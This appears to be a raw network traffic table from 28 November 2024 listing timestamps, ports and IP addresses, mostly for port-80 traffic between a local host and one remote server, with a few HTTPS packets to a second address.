Nov 28, 2024 06:48:36.390796900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.390822887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.391407013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.391495943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.391524076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.391932011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.392220020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.392326117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.392353058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.394320011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.413863897 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.413872957 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.413909912 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.413985014 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.413985014 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.414007902 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.414180040 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.431778908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.431902885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.431968927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.431968927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.432073116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.432126045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.432153940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.432462931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.432857037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.432960987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.433069944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.433636904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.433727026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.433845043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.434462070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.434551001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.434566021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.434639931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.435280085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.435357094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.435379982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.435540915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.436079025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.436209917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.436242104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.437057018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.454746008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.454781055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.454799891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.454829931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.454864025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.454894066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.455140114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.455480099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.455570936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.455751896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.456283092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.456370115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.456439972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.456439972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.457159996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.457278967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.457307100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.457920074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.457952023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.457958937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.458770037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.458798885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.458811045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.459525108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.459549904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.459645987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.460367918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.460397959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.460467100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.460669994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.461175919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.461270094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.461302996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.461334944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.461986065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.462044954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.462809086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.462898016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.462927103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.463022947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.463634014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.463727951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.463738918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.463845015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.464521885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.464582920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.464585066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.464641094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.465209961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.465327978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.465353966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.465495110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.466042995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.466129065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.466150045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.466362953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.467394114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.467612028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.467628956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.467813969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.467951059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.467963934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.468102932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.468483925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.468575954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.468605042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.468799114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.469413042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.469537973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.469587088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.469712019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.470145941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.470262051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.470274925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.470443964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.471004963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.471131086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.471348047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.471821070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.471896887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.471972942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.472084045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.472099066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.472328901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.472809076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.472850084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.472876072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.473016024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.473623991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.473712921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.473746061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.473855019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.474406958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.474498987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.474509954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.474730015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.475210905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.475271940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.475294113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.475368977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.476052046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.476145983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.476172924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.476308107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.476851940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.476932049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.476958036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.477144003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.477741003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.477828026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.477852106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.477876902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.478483915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.478594065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.478619099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.478652954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.479283094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.479396105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.479418993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.480108023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.480199099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.480226040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.480472088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.480917931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.481019020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.481041908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.481339931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.481703997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.481825113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.481837034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.481875896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.482541084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.482646942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.482677937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.482712984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.483345032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.483437061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.483464003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.483654976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.484164000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.484260082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.484291077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.484385967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.484972954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.485043049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.485063076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.485205889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.485824108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.485934973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.486150980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.486603022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.486684084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.486710072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.486819983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.487407923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.487509012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.487524986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.487627029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.488236904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.488285065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.488501072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.489132881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.489178896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.489204884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.489425898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.489908934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.490004063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.490024090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.490091085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.490674019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.490761995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.490791082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.490880966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.499031067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.499044895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.499111891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.499111891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.499159098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.499294996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.499341965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.499444008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.499470949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.499547005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.506587982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.506640911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.506654978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.506671906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.506800890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.506829977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.506980896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.507283926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507379055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.507388115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507476091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507476091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.507488966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507541895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.507541895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.507842064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507909060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507920980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.507936954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.508119106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.508122921 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.508142948 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.508408070 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.508424044 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:36.508589983 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:36.508641005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.508713961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.508724928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.508740902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.508835077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.509493113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.509512901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.509525061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.509649992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.510307074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.510366917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.510379076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.510396957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.510595083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.511059046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511142969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511153936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511472940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.511893034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511949062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511960030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.511972904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.512022018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.512681961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.512768030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.512787104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.512805939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.513039112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.513483047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.513561010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.513572931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.513580084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.513705969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.514307976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.514377117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.514388084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.514486074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.515129089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.515224934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.515238047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.515249968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.515327930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.515988111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516028881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516041040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516071081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.516071081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.516114950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.516729116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516808033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516822100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.516977072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.517554998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.517631054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.517644882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.517659903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.517887115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.518338919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.518404007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.518426895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.518440008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.518481970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.519181013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.519254923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.519263029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.519268990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.519426107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.519933939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520032883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520040035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.520056963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520102024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.520102024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.520762920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520833969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520847082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.520862103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.520905018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.521596909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.521673918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.521687984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.521699905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.521833897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.522375107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.522449970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.522461891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.522478104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.522675991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.523217916 CET	80	49750	185.215.113.206	192.168.2.5
